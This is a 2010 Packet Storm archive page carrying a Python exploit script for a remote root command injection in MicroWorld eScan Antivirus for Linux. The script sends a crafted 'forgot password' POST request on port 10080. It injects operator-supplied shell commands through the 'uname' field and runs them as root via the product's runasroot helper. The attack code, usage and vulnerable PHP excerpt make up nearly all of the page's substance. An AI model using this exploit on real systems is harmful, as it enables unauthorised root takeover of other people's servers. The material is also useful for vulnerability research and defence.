exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MicroWorld eScan Antivirus Remote Root Command Execution

MicroWorld eScan Antivirus Remote Root Command Execution
Posted Mar 15, 2010
Authored by Mohammed almutairi

This exploit demonstrates a remote root command execution vulnerability in MicroWorld eScan Antivirus versions prior to 3.x.

tags | exploit, remote, root
SHA-256 | ecc744c2220777c10cfe0cf1791fa5a5bdd9af4d84c275d95cec7536fc267c65

MicroWorld eScan Antivirus Remote Root Command Execution

Change Mirror Download
#!/usr/bin/env python
import sys
from socket import *

#auther: Mohammed almutairi
#(Sa.attacker@gmail.com)
"""
MicroWorld eScan Antivirus < 3.x Remote Root Command Execution
Package MWADMIN package vulnerabilities (linux)
The Base Packages (MWADMIN and MWAV) must be installed before eScan
Link:
http://www.escanav.com/english/content/products/escan_linux/linux_products.asp
infcted: aLL version 3.X eScan linux
1-Escan for Linux Desktop
2-Escan for Linux file Servers
3-MailScan for Linux and webscan
Tested On RedHat and Fedora
ULTRA PRIV8 :)

Description:

From /opt/MicroWorld/var/www/htdocs/forgotpassword.php:
include("common_functions.php"); <---> (1)

if ($_POST['forgot'] == "Send Password")
{
$user = $_POST["uname"]; <--->(2) insecure:(


vulnerable code in forgotpassword.php and common_functions.php
in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot";
we can injection through via the file forgotpassword.php As you can see (2)
with remote root Command Execution
>> eScan.py www.***.com
eScan@/bin/sh:$Sa$ => reboot
[*] Done! sent to: www.***.com
"""

def xpl():
if len(sys.argv) < 2:
print "[*] MicroWorld eScan Antivirus Remote Root Command Execution"
print "[*] exploited by Mohammed almutairi"
print "[*] usage: %s host" % sys.argv[0]
return

host = sys.argv[1]
port = 10080 # default port
cmd = raw_input("eScan@/bin/sh:$Sa$ => ")
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd

sa= "uname=;%s;" %sh # (;sh;) ---> Here Play See to ^(2)^
sa+= "&forgot=Send+Password"

s="POST /forgotpassword.php HTTP/1.1\r\n"
s+="Host: %s:%d\r\n"%(host, port)
s+="User-Agent: */*\r\n"
s+="Accept: ar,en-us;q=0.7,en;q=0.3\r\n"
s+="Content-Type: application/x-www-form-urlencoded\r\n"
s+="Content-Length: %d \r\n\r\n"%len(sa)
s+=sa

sock.sendall(s)
print "[*] Done! sent to: %s" % host
sock.close()

if __name__=="__main__":
xpl()
sys.exit(0)
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close